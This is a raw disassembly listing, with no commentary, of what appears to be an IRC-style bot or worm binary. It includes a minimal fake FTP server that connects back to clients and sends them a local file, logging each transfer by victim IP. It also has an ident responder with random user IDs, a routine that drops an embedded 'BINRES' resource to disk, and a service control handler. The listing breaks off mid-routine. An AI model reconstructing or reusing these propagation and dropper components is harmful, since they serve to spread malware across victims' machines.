mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ds:dword_4B38CC
mov [ebp-10h], esp
mov esi, ecx
mov dword ptr [ebp-4], 0
loc_41D3B0: ; CODE XREF: _294ADE7B:0041D3C1j
mov al, [esi+0ABh]
test al, al
jnz short loc_41D3C3
push 3E8h
call edi
jmp short loc_41D3B0
; ---------------------------------------------------------------------------
loc_41D3C3: ; CODE XREF: _294ADE7B:0041D3B8j
mov al, [esi+0ACh]
lea ecx, [esi+15h]
push eax
push ecx
mov ecx, offset byte_44010F
call sub_40194C
lea edx, [ebp-14h]
mov ecx, offset byte_4992AB
push edx
mov [ebp-14h], esi
call sub_4011E5
loc_41D3E9: ; DATA XREF: _294ADE7B:loc_41D3FCo
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41D3FC: ; DATA XREF: _8C6BDE73:0043A084o
mov eax, offset loc_41D3E9
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D440 proc near ; CODE XREF: sub_401CB7j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
push esi
mov esi, ecx
mov [esi+11h], eax
mov cl, [eax+94h]
mov [esi+0A9h], cl
mov dl, [eax+93h]
mov [esi+0A8h], dl
mov cl, [eax+95h]
add eax, 15h
mov [esi+0AAh], cl
push eax
lea ecx, [esi+2Ah]
call sub_401E65
mov edx, [esi+11h]
lea ecx, [esi+69h]
add edx, 54h
push edx
call sub_401E65
mov eax, [esi+11h]
lea ecx, [esi+54h]
add eax, 3Fh
push eax
call sub_401E65
mov ecx, [esi+11h]
add ecx, 2Ah
push ecx
lea ecx, [esi+3Fh]
call sub_401E65
mov edx, [esi+11h]
lea ecx, [esi+15h]
push edx
call sub_401E65
mov al, [esp+4+arg_4]
mov byte ptr [esi+0ABh], 1
mov [esi+0ACh], al
pop esi
retn 8
sub_41D440 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_401F32j
var_DC = dword ptr -0DCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = dword ptr -9Ch
var_94 = byte ptr -94h
var_88 = dword ptr -88h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_68 = dword ptr -68h
var_64 = byte ptr -64h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_44 = byte ptr -44h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
arg_0 = byte ptr 4
arg_8 = byte ptr 0Ch
arg_14 = dword ptr 18h
arg_18 = byte ptr 1Ch
arg_20 = byte ptr 24h
arg_38 = byte ptr 3Ch
arg_50 = byte ptr 54h
arg_68 = byte ptr 6Ch
arg_80 = byte ptr 84h
arg_88 = byte ptr 8Ch
arg_A8 = byte ptr 0ACh
arg_E4 = byte ptr 0E8h
arg_F0 = byte ptr 0F4h
arg_118 = byte ptr 11Ch
arg_128 = byte ptr 12Ch
arg_138 = byte ptr 13Ch
arg_148 = byte ptr 14Ch
arg_158 = byte ptr 15Ch
arg_908 = byte ptr 90Ch
arg_18C8 = dword ptr 18CCh
arg_18D8 = dword ptr 18DCh
arg_1930 = byte ptr 1934h
arg_1970 = dword ptr 1974h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_41D500
push eax
mov eax, 19B4h
mov large fs:0, esp
call sub_430390
push esi
push edi
mov edi, ecx
xor eax, eax
mov [esp+14h+var_8], edi
mov [esp+14h+arg_14], 10h
lea esi, [edi+19h]
mov ecx, esi
mov [ecx], eax
mov [ecx+4], eax
mov [ecx+8], eax
mov [ecx+0Ch], eax
mov word ptr [esi], 2
mov [edi+1Dh], eax
mov dx, word ptr ds:dword_4404E7
push edx
call ds:dword_4B3CB0
push 6
push 1
push 2
mov [edi+1Bh], ax
call ds:dword_4B3CAC
cmp eax, 0FFFFFFFFh
mov [edi+15h], eax
jnz short loc_41D587
lea eax, [esp+24h+var_18]
mov ecx, offset byte_4992AB
push eax
mov [esp+28h+var_18], edi
call sub_4011E5
jmp loc_41DC2A
; ---------------------------------------------------------------------------
loc_41D587: ; CODE XREF: sub_41D500+6Dj
push 10h
push esi
push eax
call ds:dword_4B3C58
test eax, eax
jz short loc_41D5B7
mov ecx, [edi+15h]
push ecx
call ds:dword_4B3CA8
lea edx, [esp+34h+var_28]
mov ecx, offset byte_4992AB
push edx
mov [esp+38h+var_28], edi
call sub_4011E5
jmp loc_41DC2A
; ---------------------------------------------------------------------------
loc_41D5B7: ; CODE XREF: sub_41D500+93j
mov al, ds:byte_499254
test al, al
jz loc_41DC20
push ebx
mov ebx, ds:dword_4B3AEC
push ebp
mov ebp, ds:dword_4B3C9C
loc_41D5D2: ; CODE XREF: sub_41D500+718j
mov eax, [edi+15h]
push 0Ah
push eax
call ds:dword_4B3C54
cmp eax, 0FFFFFFFFh
jnz short loc_41D5ED
push 0FAh
jmp loc_41DC0B
; ---------------------------------------------------------------------------
loc_41D5ED: ; CODE XREF: sub_41D500+E1j
mov eax, [edi+15h]
lea ecx, [esp+40h+var_C]
lea edx, [esp+40h+arg_F0]
push ecx
push edx
push eax
call ds:dword_4B3C64
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_41DC06
xor ecx, ecx
lea edx, [esp+4Ch+var_14]
mov [esp+4Ch+var_2C], ecx
lea eax, [esp+4Ch+var_2C]
mov [esp+4Ch+var_28], ecx
push edx
mov [esp+50h+var_24], ecx
push eax
push esi
mov [esp+58h+var_14], 10h
mov [esp+58h+var_20], ecx
call ds:dword_4B3CC4
mov eax, [esp+58h+var_34]
test al, al
jz loc_41DC11
mov cl, ds:byte_440C50
test cl, cl
jz short loc_41D69F
mov edx, [esp+58h+var_34+3]
mov ecx, ds:dword_4404E7
and edx, 0FFh
push ecx
mov ecx, [esp+5Ch+var_34+2]
push edx
mov edx, [esp+60h+var_34+1]
and ecx, 0FFh
and edx, 0FFh
push ecx
and eax, 0FFh
push edx
push eax
push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d"
mov ecx, offset dword_4407F0
call sub_401479
push eax
push 0
push 0
push offset byte_48873B
call sub_40178F
add esp, 28h
loc_41D69F: ; CODE XREF: sub_41D500+14Ej
lea ecx, [esp+58h+arg_0]
call sub_4013CF
push 1000h
push 1000h
lea ecx, [esp+60h+arg_0]
mov [esp+60h+arg_1970], 0
call sub_401B40
push eax
call sub_401578
add esp, 8
lea eax, [esp+58h+arg_0]
lea ecx, [esp+58h+arg_18]
push eax
call sub_40146F
lea ecx, [esp+58h+arg_0]
mov byte ptr [esp+58h+arg_1970], 1
push ecx
lea ecx, [esp+5Ch+arg_18]
call sub_401E65
mov edi, offset a220 ; "220 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a220 ; "220 \r\n"
push esi
call ebp
push 0
lea edx, [esp+6Ch+arg_158]
push 800h
push edx
push esi
call sub_40124E
mov edi, offset a331 ; "331 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a331 ; "331 \r\n"
push esi
call ebp
push 0
lea eax, [esp+7Ch+arg_148]
push 800h
push eax
push esi
call sub_40124E
mov edi, offset a230 ; "230 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a230 ; "230 \r\n"
push esi
call ebp
push 0
lea ecx, [esp+8Ch+arg_138]
push 800h
push ecx
push esi
call sub_40124E
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
push 0
not ecx
dec ecx
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+9Ch+arg_128]
push 800h
push edx
push esi
call sub_40124E
add esp, 10h
lea eax, [esp+98h+arg_128]
lea ecx, [esp+98h+var_C]
push eax
call sub_4017A8
push offset dword_43B600
lea ecx, [esp+9Ch+var_54]
push 1
push ecx
lea ecx, [esp+0A4h+var_C]
mov [esp+0A4h+arg_1930], 2
call sub_401622
push offset asc_43BF80 ; ","
lea edx, [esp+9Ch+arg_38]
push 0
push edx
lea ecx, [esp+0A4h+var_54]
mov [esp+0A4h+arg_1930], 3
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 4
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_38]
mov edi, eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
push offset asc_43BF80 ; ","
lea eax, [esp+9Ch+arg_80]
push 1
push eax
lea ecx, [esp+0A4h+var_54]
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 5
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_80]
mov [esp+98h+var_7C], eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
push offset asc_43BF80 ; ","
lea ecx, [esp+9Ch+arg_8]
push 2
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 6
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_8]
mov [esp+98h+var_5C], eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
push offset asc_43BF80 ; ","
lea edx, [esp+9Ch+arg_68]
push 3
push edx
lea ecx, [esp+0A4h+var_54]
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 7
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_68]
mov [esp+98h+var_58], eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
push offset asc_43BF80 ; ","
lea eax, [esp+9Ch+arg_20]
push 4
push eax
lea ecx, [esp+0A4h+var_54]
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 8
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_20]
mov [esp+98h+var_88], eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
push offset asc_43BF80 ; ","
lea ecx, [esp+9Ch+arg_50]
push 5
push ecx
lea ecx, [esp+0A4h+var_54]
call sub_401622
mov ecx, eax
mov [esp+98h+arg_1930], 9
call sub_401726
push eax
call ebx
add esp, 4
lea ecx, [esp+98h+arg_50]
mov [esp+98h+var_80], eax
mov [esp+98h+arg_1930], 3
call sub_4011F9
mov dl, byte ptr [esp+98h+var_88]
mov al, byte ptr [esp+98h+var_80]
mov ecx, [esp+98h+var_58]
mov byte ptr [esp+98h+var_68+1], dl
mov edx, [esp+98h+var_5C]
mov byte ptr [esp+98h+var_68], al
mov eax, [esp+98h+var_68]
push ecx
and eax, 0FFFFh
push edx
mov [esp+0A0h+var_88], eax
mov eax, [esp+0A0h+var_7C]
push eax
push edi
lea ecx, [esp+0A8h+arg_A8]
push offset dword_43BB9C
push ecx
call ds:dword_4B3C18
mov edi, offset a200 ; "200 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 18h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a200 ; "200 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0ACh+arg_118]
push 800h
push edx
push esi
call sub_40124E
mov edi, offset a150 ; "150 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a150 ; "150 \r\n"
push esi
call ebp
mov eax, [esp+0B8h+var_A8]
lea ecx, [esp+0B8h+arg_88]
push eax
push ecx
call sub_4019AB
add esp, 8
lea ecx, [esp+0B8h+var_44]
mov [esp+0B8h+var_A8], eax
push offset aRb ; "rb"
call sub_401726
push eax
call ds:dword_4B3A90
mov edi, eax
add esp, 8
test edi, edi
mov [esp+0B8h+var_A0], edi
jz loc_41DB65
cmp [esp+0B8h+var_A8], 0FFFFFFFFh
jz loc_41DB65
push 2
push 0
push edi
call ds:dword_4B3A7C
push edi
call ds:dword_4B3A80
push 0
push 0
push edi
mov [esp+0D4h+var_9C], eax
call ds:dword_4B3A7C
add esp, 1Ch
loc_41DA90: ; CODE XREF: sub_41D500+5E1j
mov edx, [esp+0B8h+var_A0]
mov ecx, 400h
xor eax, eax
lea edi, [esp+0B8h+arg_908]
rep stosd
push edx
push 1000h
lea eax, [esp+0C0h+arg_908]
push 1
push eax
call ds:dword_4B3A84
mov ecx, [esp+0C8h+var_A0]
mov edi, eax
add esp, 10h
test byte ptr [ecx+0Ch], 20h
jnz short loc_41DAE3
mov eax, [esp+0B8h+var_A8]
push 0
lea edx, [esp+0BCh+arg_908]
push edi
push edx
push eax
call ebp
cmp edi, 1000h
jz short loc_41DA90
loc_41DAE3: ; CODE XREF: sub_41D500+5C7j
mov eax, [esp+0C8h+var_B4]
mov edx, [eax+11h]
inc edx
mov [eax+11h], edx
mov cl, ds:byte_440C50
test cl, cl
mov eax, edx
jz short loc_41DB4C
mov edx, [esp+0C8h+var_A4+3]
mov ecx, [esp+0C8h+var_AC]
push eax
mov eax, [esp+0CCh+var_A4+2]
and edx, 0FFh
push ecx
mov ecx, [esp+0D0h+var_A4+1]
push edx
mov edx, [esp+0D4h+var_A4]
and eax, 0FFh
and ecx, 0FFh
push eax
and edx, 0FFh
push ecx
push edx
push offset aFtpD_D_D_DDByt ; "$ftp -> %d.%d.%d.%d -> (%d bytes) (tota"...
mov ecx, offset dword_4407F0
call sub_401479
push eax
push 0
push 0
push offset byte_48873B
call sub_40178F
add esp, 2Ch
loc_41DB4C: ; CODE XREF: sub_41D500+5F8j
mov eax, [esp+0C8h+var_B0]
push eax
call ds:dword_4B3A94
mov ecx, [esp+0CCh+var_B8]
add esp, 4
push ecx
call ds:dword_4B3CA8
loc_41DB65: ; CODE XREF: sub_41D500+55Bj
; sub_41D500+566j
mov edi, offset a226 ; "226 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
push 0
repne scasb
not ecx
dec ecx
push ecx
push offset a226 ; "226 \r\n"
push esi
call ebp
push 0
lea edx, [esp+0E0h+arg_E4]
push 800h
push edx
push esi
call sub_40124E
mov edi, offset a221 ; "221 \r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 10h
repne scasb
not ecx
dec ecx
push 0
push ecx
push offset a221 ; "221 \r\n"
push esi
call ebp
push esi
call ds:dword_4B3CA8
lea ecx, [esp+0F0h+var_AC]
mov byte ptr [esp+0F0h+arg_18D8], 2
call sub_4011F9
lea ecx, [esp+0F0h+var_64]
mov byte ptr [esp+0F0h+arg_18D8], 1
call sub_4011F9
lea ecx, [esp+0F0h+var_7C]
mov byte ptr [esp+0F0h+arg_18D8], 0
call sub_4011F9
lea ecx, [esp+0F0h+var_94]
mov [esp+0F0h+arg_18D8], 0FFFFFFFFh
call sub_4011F9
mov edi, [esp+0F0h+var_DC]
loc_41DC06: ; CODE XREF: sub_41D500+109j
push 9C4h
loc_41DC0B: ; CODE XREF: sub_41D500+E8j
call ds:dword_4B38CC
loc_41DC11: ; CODE XREF: sub_41D500+140j
mov al, ds:byte_499254
test al, al
jnz loc_41D5D2
pop ebp
pop ebx
loc_41DC20: ; CODE XREF: sub_41D500+BEj
mov eax, [edi+15h]
push eax
call ds:dword_4B3CA8
loc_41DC2A: ; CODE XREF: sub_41D500+82j
; sub_41D500+B2j
mov ecx, [esp+0F0h+arg_18C8]
pop edi
xor eax, eax
pop esi
mov large fs:0, ecx
add esp, 19C0h
retn
sub_41D500 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 1E0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41DE30: ; CODE XREF: _294ADE7B:00401203j
push 0FFFFFFFFh
push offset loc_434A50
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 84h
push ebx
push ebp
push esi
push 71h
call sub_4018A7
add esp, 4
cmp eax, 0FFFFFFFFh
mov [esp+0Ch], eax
jnz short loc_41DE6D
mov ds:byte_4992A9, 0
jmp loc_41DFD1
; ---------------------------------------------------------------------------
loc_41DE6D: ; CODE XREF: _294ADE7B:0041DE5Fj
mov cl, ds:byte_440113
xor ebx, ebx
cmp cl, bl
mov ds:byte_4992A9, 1
jnz loc_41DFC4
lea ecx, [esp+10h]
push ecx
push eax
call sub_401E8D
mov ebp, eax
add esp, 8
cmp ebp, 0FFFFFFFFh
jz loc_41DFB7
push edi
lea ecx, [esp+24h]
call sub_4013CF
mov [esp+9Ch], ebx
call sub_401DB1
mov esi, ds:dword_4B3A9C
call esi
cdq
mov ecx, 3
push offset byte_43FDC8
idiv ecx
lea ecx, [esp+28h]
mov edi, edx
add edi, 0Ah
call sub_401564
cmp edi, ebx
jle short loc_41DF36
loc_41DEDA: ; CODE XREF: _294ADE7B:0041DF34j
lea ecx, [esp+3Ch]
call sub_4013CF
lea edx, [esp+24h]
lea ecx, [esp+3Ch]
push edx
mov byte ptr [esp+0A0h], 1
call sub_401E65
call esi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+3Ch]
add edx, 61h
push edx
call sub_401726
push eax
lea edx, [esp+2Ch]
push offset dword_43BD58
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+3Ch]
mov [esp+9Ch], bl
call sub_4011F9
dec edi
jnz short loc_41DEDA
loc_41DF36: ; CODE XREF: _294ADE7B:0041DED8j
push 0Ah
lea ecx, [esp+28h]
call sub_40141A
mov [eax], bl
mov ecx, 10h
xor eax, eax
lea edi, [esp+54h]
rep stosd
lea ecx, [esp+24h]
call sub_401726
push eax
push 71h
call esi
cdq
mov ecx, 1770h
idiv ecx
inc edx
push edx
lea edx, [esp+60h]
push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n"
push edx
call ds:dword_4B3C18
add esp, 14h
lea eax, [esp+54h]
push ebx
push 40h
push eax
push ebp
call ds:dword_4B3C9C
mov esi, ds:dword_4B3CA8
push ebp
call esi
lea ecx, [esp+24h]
mov dword ptr [esp+9Ch], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+10h]
push ecx
call esi
mov ds:byte_4992A9, bl
pop edi
jmp short loc_41DFCE
; ---------------------------------------------------------------------------
loc_41DFB7: ; CODE XREF: _294ADE7B:0041DE97j
push 7D0h
call ds:dword_4B38CC
jmp short loc_41DFD1
; ---------------------------------------------------------------------------
loc_41DFC4: ; CODE XREF: _294ADE7B:0041DE7Ej
mov ebp, [esp+0Ch]
mov esi, ds:dword_4B3CA8
loc_41DFCE: ; CODE XREF: _294ADE7B:0041DFB5j
push ebp
call esi
loc_41DFD1: ; CODE XREF: _294ADE7B:0041DE68j
; _294ADE7B:0041DFC2j
mov ecx, [esp+90h]
pop esi
pop ebp
xor eax, eax
pop ebx
mov large fs:0, ecx
add esp, 90h
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E060 proc near ; CODE XREF: sub_4019DDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
dec eax
jz short loc_41E09B
dec eax
jz short loc_41E084
dec eax
jnz short loc_41E0C1
mov ecx, ds:dword_4AFD18
mov ds:dword_4AFCFC, 4
call sub_401C9E
jmp short loc_41E0C1
; ---------------------------------------------------------------------------
loc_41E084: ; CODE XREF: sub_41E060+8j
mov ecx, ds:dword_4AFD18
mov ds:dword_4AFCFC, 7
call sub_401028
jmp short loc_41E0C1
; ---------------------------------------------------------------------------
loc_41E09B: ; CODE XREF: sub_41E060+5j
mov ecx, ds:dword_4AFD18
xor eax, eax
mov ds:dword_4AFD04, eax
mov ds:dword_4AFCFC, 1
mov ds:dword_4AFD0C, eax
mov ds:dword_4AFD10, eax
call sub_4016A4
loc_41E0C1: ; CODE XREF: sub_41E060+Bj
; sub_41E060+22j ...
mov eax, ds:dword_4AFD1C
push offset dword_4AFCF8
push eax
mov ds:dword_4AFCFC, 4
call ds:dword_4B3744
retn 4
sub_41E060 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E100: ; CODE XREF: _294ADE7B:loc_40187Fj
push esi
xor esi, esi
push offset sub_4019DD
mov ecx, offset byte_4407A7
mov ds:dword_4AFCF8, 20h
mov ds:dword_4AFCFC, 2
mov ds:dword_4AFD00, 3
mov ds:dword_4AFD04, esi
mov ds:dword_4AFD08, esi
mov ds:dword_4AFD0C, esi
mov ds:dword_4AFD10, esi
call sub_401726
push eax
call ds:dword_4B3740
cmp eax, esi
mov ds:dword_4AFD1C, eax
jz short loc_41E17A
push offset dword_4AFCF8
push eax
mov ds:dword_4AFCFC, 4
mov ds:dword_4AFD0C, esi
mov ds:dword_4AFD10, esi
call ds:dword_4B3744
loc_41E17A: ; CODE XREF: _294ADE7B:0041E156j
pop esi
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E1A0 proc near ; CODE XREF: sub_401064j
push esi
mov esi, ecx
call sub_401D2F
mov dword ptr [esi], offset off_43707C
mov eax, esi
pop esi
retn
sub_41E1A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E1D0 proc near ; CODE XREF: sub_401BBDj
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
sub esp, 110h
mov ds:dword_4AFD18, ecx
push 100h
mov ecx, offset byte_4407A7
call sub_401726
push eax
lea eax, [esp+118h+var_100]
push eax
call ds:dword_4B3AE0
add esp, 0Ch
lea edx, [esp+110h+var_110]
lea ecx, [esp+110h+var_100]
xor eax, eax
push edx
mov [esp+114h+var_110], ecx
mov [esp+114h+var_10C], offset loc_40187F
mov [esp+114h+var_108], eax
mov [esp+114h+var_104], eax
call ds:dword_4B373C
xor eax, eax
add esp, 110h
retn
sub_41E1D0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E250: ; CODE XREF: _294ADE7B:00401B18j
mov eax, [esp+4]
push ebx
push esi
push edi
push offset aWb ; "wb"
push eax
call ds:dword_4B3A90
mov ebx, eax
add esp, 8
test ebx, ebx
jnz short loc_41E272
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E272: ; CODE XREF: _294ADE7B:0041E26Aj
mov ecx, [esp+18h]
push ecx
call ds:dword_4B38C0
mov esi, eax
test esi, esi
jnz short loc_41E289
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E289: ; CODE XREF: _294ADE7B:0041E281j
mov edx, [esp+14h]
push offset aBinres ; "BINRES"
and edx, 0FFFFh
push edx
push esi
call ds:dword_4B38FC
mov edi, eax
test edi, edi
jnz short loc_41E2AC
pop edi
pop esi
xor al, al
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E2AC: ; CODE XREF: _294ADE7B:0041E2A4j
push ebp
push edi
push esi
call ds:dword_4B3884
push edi
push esi
mov ebp, eax
call ds:dword_4B3888
push ebp
mov esi, eax
call ds:dword_4B388C
push ebx
push esi
push 1
push eax
call ds:dword_4B3A78
push ebx
call ds:dword_4B3A94
add esp, 14h
mov al, 1
pop ebp
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E320 proc near ; CODE XREF: sub_4017C1j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push esi
call ds:dword_4B3CBC
cmp eax, 0FFFFFFFFh
jnz short loc_41E348
push esi
call ds:dword_4B3CA4
test eax, eax
jnz short loc_41E341
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41E341: ; CODE XREF: sub_41E320+1Aj
mov eax, [eax+0Ch]
mov ecx, [eax]
mov eax, [ecx]
loc_41E348: ; CODE XREF: sub_41E320+Fj
pop esi
retn
sub_41E320 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E360 proc near ; CODE XREF: sub_4019ABj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push esi
push 6
push 1
push 2
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41E37E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41E37E: ; CODE XREF: sub_41E360+15j
mov ecx, [esp+14h+arg_4]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call ds:dword_4B3CB0
mov edx, [esp+14h+arg_0]
mov word ptr [esp+14h+var_10+2], ax
push edx
call sub_4017C1
add esp, 4
mov [esp+14h+var_C], eax
lea eax, [esp+14h+var_10]
push 10h
push eax
push esi
call ds:dword_4B3CB4
cmp eax, 0FFFFFFFFh
jnz short loc_41E3DA
push esi
call ds:dword_4B3CA8
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41E3DA: ; CODE XREF: sub_41E360+69j
mov eax, esi
pop esi
add esp, 10h
retn
sub_41E360 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E420 proc near ; CODE XREF: sub_4018A7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
sub esp, 10h
push esi
push 6
push 1
push 2
call ds:dword_4B3CAC
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_41E43E
or eax, eax
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41E43E: ; CODE XREF: sub_41E420+15j
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ecx
mov [esp+18h+var_C], eax
mov word ptr [esp+18h+var_10], 2
mov [esp+18h+var_8], eax
mov [esp+18h+var_4], eax
call ds:dword_4B3CB0
lea edx, [esp+14h+var_10]
push 10h
push edx
push esi
mov word ptr [esp+20h+var_10+2], ax
mov [esp+20h+var_C], 0
call ds:dword_4B3C58
test eax, eax
jz short loc_41E490
push esi
call ds:dword_4B3CA8
or eax, 0FFFFFFFFh
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41E490: ; CODE XREF: sub_41E420+5Fj
mov eax, esi
pop esi
add esp, 10h
retn
sub_41E420 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41E4C0: ; CODE XREF: _294ADE7B:004012A8j
sub esp, 10h
push esi
mov esi, [esp+18h]
push 0Ah
push esi
call ds:dword_4B3C54
cmp eax, 0FFFFFFFFh
jz short loc_41E4F4
lea eax, [esp+18h]
lea ecx, [esp+4]
push eax
push ecx
push esi
mov dword ptr [esp+24h], 10h
call ds:dword_4B3C64
cmp eax, 0FFFFFFFFh
jnz short loc_41E4F7
loc_41E4F4: ; CODE XREF: _294ADE7B:0041E4D4j
or eax, 0FFFFFFFFh
loc_41E4F7: ; CODE XREF: _294ADE7B:0041E4F2j
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E510 proc near ; CODE XREF: sub_401E8Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_41E546
mov esi, [esp+8+arg_0]
push 0Ah
push esi
call ds:dword_4B3C54
cmp eax, 0FFFFFFFFh
jz short loc_41E546
lea eax, [esp+8+arg_4]
mov [esp+8+arg_4], 10h
push eax
push edi
push esi
call ds:dword_4B3C64
cmp eax, 0FFFFFFFFh
jnz short loc_41E549
loc_41E546: ; CODE XREF: sub_41E510+8j
; sub_41E510+1Aj
or eax, 0FFFFFFFFh
loc_41E549: ; CODE XREF: sub_41E510+34j
pop edi
pop esi
retn
sub_41E510 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41E560 proc near ; CODE XREF: sub_40157Dj
var_42 = byte ptr -42h
var_3E = byte ptr -3Eh
var_28 = byte ptr -28h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_104 = byte ptr 108h
arg_110 = byte ptr 114h
arg_10DC = dword ptr 10E0h
mov eax, 1114h
call sub_430390
lea eax, [esp+arg_4]
lea ecx, [esp+arg_110]
push eax
push 1000h
push ecx
mov byte ptr [esp+0Fh], 0
call sub_430AD4
test eax, eax
jnz short loc_41E593
xor al, al
